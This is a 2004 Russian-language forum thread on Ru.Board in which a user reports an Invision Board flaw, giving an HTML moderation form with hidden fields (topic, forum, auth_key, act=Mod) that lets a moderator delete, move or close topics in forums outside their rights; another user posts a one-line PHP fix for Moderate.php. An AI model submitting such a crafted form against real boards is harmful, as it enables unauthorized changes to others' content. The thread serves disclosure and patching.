Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » IkonBoard и другие форумы » Invision Board » Модераторский достум

Модерирует : Antuan, Dekker

 Версия для печати • ПодписатьсяДобавить в закладки

Открыть новую тему     Написать ответ в эту тему

Odango



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Модератор может модерить не только свои форумы, где прописаны его полномочия.
Делается это так:
Модер может модерить свои темы...  
Если у него нет формы для модерения, то это ничего не значит...  
Сохраняем страницу на винт,  
Вставляем форму для модерения в страницу  
Вот она  
"<div align='left' style='float:left;width:auto'>  
<form method='POST' style='display:inline' name='modform' action='(Link: http://www.***.**/forum/index.php?'>
)http://www.***.**/forum/index.php?'>  
<input type='hidden' name='t' value='408' />  
<input type='hidden' name='f' value='2' />  
<input type='hidden' name='st' value='' />  
<input type='hidden' name='auth_key' value='b47277da59ed1994088784bb5ad6e660' />  
<input type='hidden' name='act' value='Mod' />  
<select name='CODE' class='forminput' style="font-weight:bold;color:red">  
<option value='-1' style='color:black'>Опции модератора</option>  
<option value='02'>Переместить тему</option><option value='00'>Закрыть тему</option><option value='03'>Удалить тему</option><option value='05'>Редактировать заголовок</option><option value='100'>Зафиксировать первое сообщение</option><option value='15'>Зафиксировать тему</option><option value='60'>Соединить тему</option><option value='50'>Разделить тему</option>  
</select>&nbsp;<input type='submit' value='ок!' class='forminput' /></form>  
  </div>  
"  
 Запускаем с винта страницу и будет нам счастье...  
:
 
Теперь вопрос - как это можно пофиксить?

Всего записей: 4 | Зарегистр. 24-01-2004 | Отправлено: 12:45 16-06-2004 | Исправлено: Odango, 12:46 16-06-2004
Dekker



Moderator
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
у меня форум модерит команда, да и многие согласились с тем что толпой удобней модерить весь форум, а то приперся каин, нагадил в разделе, модер соседнего раздела видит что не все ладно и локти грызет, а коллеги нет в это время на борде. а флудера обычно стараються нагадить во всех разделах.

----------
Home Blog

Всего записей: 4655 | Зарегистр. 04-06-2002 | Отправлено: 15:42 16-06-2004
Odango



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
У нас на форуме разделение идет следующим образом - на каждый раздел по одному модератору, зато знаешь, кому по шапке стучать. Но вот пользуясь таким багом можно и не только свой форум модерить...

Всего записей: 4 | Зарегистр. 24-01-2004 | Отправлено: 11:21 17-06-2004
BESTRAFER



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
хм... действительно баг....
тут надо механизм сессий менять... я так понимаю...
а эт дофигища работы...

----------
IPTV EPG

Всего записей: 1477 | Зарегистр. 17-09-2003 | Отправлено: 19:03 17-06-2004
Dekker



Moderator
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
для этого есть логи модераторов, что бы знать кому стучать в голову.

----------
Home Blog

Всего записей: 4655 | Зарегистр. 04-06-2002 | Отправлено: 19:40 17-06-2004
Odango



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Да без проблем, конечно, в модераторские логи смотреть, но вот все-же... хотелось бы ту багу поправить...

Всего записей: 4 | Зарегистр. 24-01-2004 | Отправлено: 09:12 18-06-2004
theIggs



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
В чём проблема взять кусок кода из Topics.php и перенести в Moderate.php? (в идеале - ещё и в modfunctions.php проверять)
Ладно, по случаю того, что я защитил позавчера диплом   , сейчас сделаю.
 
Добавлено
Круто глюк работает!
 
Moderate.php
Найти:

Код:
$this->forum = $DB->fetch_row();

Ниже добавить:

Код:
if ($this->forum['id'] != $this->topic['forum_id']) $this->moderate_error();

 
Либо же в самих проверках вида

Код:
$DB->query("SELECT * FROM ibf_moderators WHERE forum_id=".$this->forum['id']." AND (member_id=".$ibforums->member['id']." OR (is_group=1 AND group_id=".$ibforums->member['mgroup']."))");

писать вместо $this->forum['id'] строчку $this->topic['forum_id']


----------
Русская поддержка по IP.Board на IBResource.ru.
Для счастья нужно: национальный трекер и поисковик!

Всего записей: 1114 | Зарегистр. 13-11-2002 | Отправлено: 10:46 19-06-2004
BESTRAFER



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
theIggs
это ты уже трезвый писал? а то потом твои баги фиксить

----------
IPTV EPG

Всего записей: 1477 | Зарегистр. 17-09-2003 | Отправлено: 15:59 21-06-2004
theIggs



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
BESTRAFER
Какие баги в одной строчке?
PS Я почти не пью!

----------
Русская поддержка по IP.Board на IBResource.ru.
Для счастья нужно: национальный трекер и поисковик!

Всего записей: 1114 | Зарегистр. 13-11-2002 | Отправлено: 00:14 22-06-2004
Odango



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
theIggs
Аригато

Всего записей: 4 | Зарегистр. 24-01-2004 | Отправлено: 13:05 22-06-2004
Dekker



Moderator
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
сорри, форумы перепутал.

----------
Home Blog

Всего записей: 4655 | Зарегистр. 04-06-2002 | Отправлено: 15:47 22-06-2004 | Исправлено: Dekker, 18:49 22-06-2004
Открыть новую тему     Написать ответ в эту тему

Компьютерный форум Ru.Board » IkonBoard и другие форумы » Invision Board » Модераторский достум


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru